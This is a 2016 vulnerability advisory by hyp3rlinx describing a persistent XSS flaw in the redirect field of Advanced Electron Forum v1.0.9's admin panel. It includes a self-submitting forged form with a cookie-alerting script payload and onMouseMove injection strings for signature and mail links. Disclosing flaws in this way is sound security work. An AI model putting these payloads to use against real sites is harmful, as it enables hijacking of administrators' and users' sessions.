Advanced Electron Forum v1.0.9 Persistent XSS

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AEF-XSS.txt



Vendor:
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www.anelectron.com/downloads/



Product:
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Advanced Electron Forum v1.0.9 (AEF)
Exploit patched current version.



Vulnerability Type:
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Persistent XSS



CVE Reference:
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N/A



Vulnerability Details:
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In Admin panel under Edit Boards / General Stuff / General Options

There is an option to sepcify a redirect URL for the forum.

See --> Redirect Forum:
Enter a URL to which this forum will be redirected to.

The redirect input field is vulnerable to a persistent XSS that will be stored in the MySQL database
and execute attacker supplied client side code each time a victim visits the following URLs.

http://localhost/AEF(1.0.9)_Install/index.php?

http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=forums&seadact=editforum&editforum=1



Exploit code(s):
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Persistent XSS

<form id="XSS-DE-PERSISTO" action="http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=forums&seadact=editforum&editforum=1" method="post">
<input type="hidden" name="editmother" value="c1" />
<input type="hidden" name="forder" value="1" />
<input type="hidden" name="fstatus" value="1" />
<input type="hidden" name="fredirect" value='"/><script>alert("XSS hyp3rlinx \n\n" + document.cookie)</script>' />
<input type="hidden" name="fimage" value="" />
<input type="hidden" name="fname" value="Generals" />
<input type="hidden" name="fdesc" value="hyp3rlinx" />
<input type="hidden" name="ftheme" value="0" />
<input type="hidden" name="frulestitle" value="MAYHEM" />
<input type="hidden" name="frules" value="0" />
<input type="hidden" name="rss" value="10" />
<input type="hidden" name="rss_topic" value="0" />
<input type="hidden" name="member[-1]" value="on" />
<input type="hidden" name="member[0]" value="on" />
<input type="hidden" name="member[3]" value="on" />
<input type="hidden" name="inc_mem_posts" value="on" />
<input type="hidden" name="allow_poll" value="on" />
<input type="hidden" name="allow_html" value="on" />
<input type="hidden" name="mod_posts" value="on" />
<input type="hidden" name="editboard" value="Edit+Forum" />
<script>document.
getElementById('XSS-DE-PERSISTO').submit()</script>
</form>



Some other misc XSS(s) under 'Signature' area.


http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=signature
on Anchor link setting
http://"onMouseMove="alert(0)

AND

http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=writepm
email link:
mailto:"onMouseMove="alert(1)



Disclosure Timeline:
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Vendor Notification:  NA
January 17, 2016  : Public Disclosure




Exploitation Technique:
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Remote



Severity Level:
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High



Description:
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Request Method(s):        [+] POST


Vulnerable Product:       [+] AEF v1.0.9 (exploit patched version)


Vulnerable Parameter(s):  [+] 'fredirect'

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by hyp3rlinx